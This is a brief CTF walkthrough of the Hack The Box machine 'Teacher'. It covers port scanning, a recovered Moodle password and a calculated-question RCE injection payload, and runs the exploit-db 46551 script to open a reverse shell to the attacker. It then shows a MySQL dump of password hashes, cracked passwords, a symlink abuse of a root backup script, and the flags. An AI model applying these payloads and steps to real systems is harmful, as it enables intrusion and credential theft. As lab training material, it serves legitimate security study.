Information Gathering

$ ip='10.10.10.153'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Blackhat highschool
|_http-server-header: Apache/2.4.25 (Debian)

Moodle CMS RCE

http://10.10.10.153/moodle/

在此位置少了一张图片显示

https://github.com/MartinxMax/ImageToAscii

油猴插件查看图片内容

Hi Servicedesk,..I forgot the last charachter of my password. The only part I remembered is Th4C00lTheacha...Could you guys figure out what the last charachter is, or just reset it?..Thanks,.Giovanni.

# echo '10.10.10.153 teacher.htb'>>/etc/hosts

http://teacher.htb/moodle/

Username:giovanni
Password:Th4C00lTheacha#

http://teacher.htb/moodle/course/view.php?id=2

添加Quiz

新建关于计算的新问题

/*{a*/$_GET[shell];//{x}}

http://teacher.htb/moodle/question/question.php?qtype=calculated&category=2&cmid=9&courseid=2&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D9%26addonpage%3D0&appendqnumstring=addquestion&id=6&shell=(date;ping%20-c%201%2010.10.16.33)

https://www.exploit-db.com/exploits/46551

$ php exp.php url=http://teacher.htb/moodle user=giovanni pass=Th4C00lTheacha# ip=10.10.16.33 port=443 course=1 course=2

Laternal Movement via mysql hash crack

username:root
password:Welkom1!

$ mysqldump -u 'root' -p -h 'localhost' 'moodle' > /tmp/res.txt

| guest       | $2y$10$ywuE5gDlAlaCu9R0w7pKW.UCB0jUH6ZVKcitP3gMtUNrAebiGMOdO |
| admin       | $2y$10$7VPsdU9/9y2J4Mynlt6vM.a4coqHRXsNTOq/1aA6wCWTsF2wtrDO2 |
| giovanni    | $2y$10$38V6kI7LNudORa7lBAT0q.vsQsv4PemY7rf/M1Zkj/i1VqLO0FSYO |
| Giovannibak | 7a860966115182402ed06375cf0a22af      

password:expelled

User.txt

2ed3dfa090a2c381f63965b415be749b

Privilege Escalation:Backup.sh && ln abuse bypass

Pspy监控

通过创建courses软连接,使sh脚本读取备份courses(软连接)->/root下内容

$ rm -rf ~/work/tmp/courses/

$ mv ~/work/courses ~/work/courses.bak

$ ln -s /root ~/work/courses

Root.txt

d27323046410b2d338961ff01b2aaadf